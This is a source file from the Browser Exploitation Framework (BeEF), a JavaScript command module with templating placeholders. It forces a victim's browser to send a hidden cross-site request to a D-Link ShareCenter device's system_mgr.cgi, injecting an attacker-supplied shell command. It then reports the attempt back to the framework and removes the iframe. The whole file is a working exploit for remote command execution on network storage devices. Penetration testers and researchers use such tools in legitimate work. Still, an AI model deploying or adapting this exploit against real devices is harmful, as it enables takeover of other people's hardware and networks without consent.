//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var gateway = '<%= @base %>'; 
	var path    = '/cgi-bin/system_mgr.cgi';
	var cmd     = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
	var timeout = 15;

	var dlink_sharecenter_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", "application/x-www-form-urlencoded", [
		{'type':'hidden', 'name':'cmd',      'value':'cgi_sms_test'},
		{'type':'hidden', 'name':'command1', 'value':cmd}
	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	cleanup = function() {
		document.body.removeChild(dlink_sharecenter_iframe_<%= @command_id %>);
	}
	setTimeout("cleanup()", timeout*1000);

});

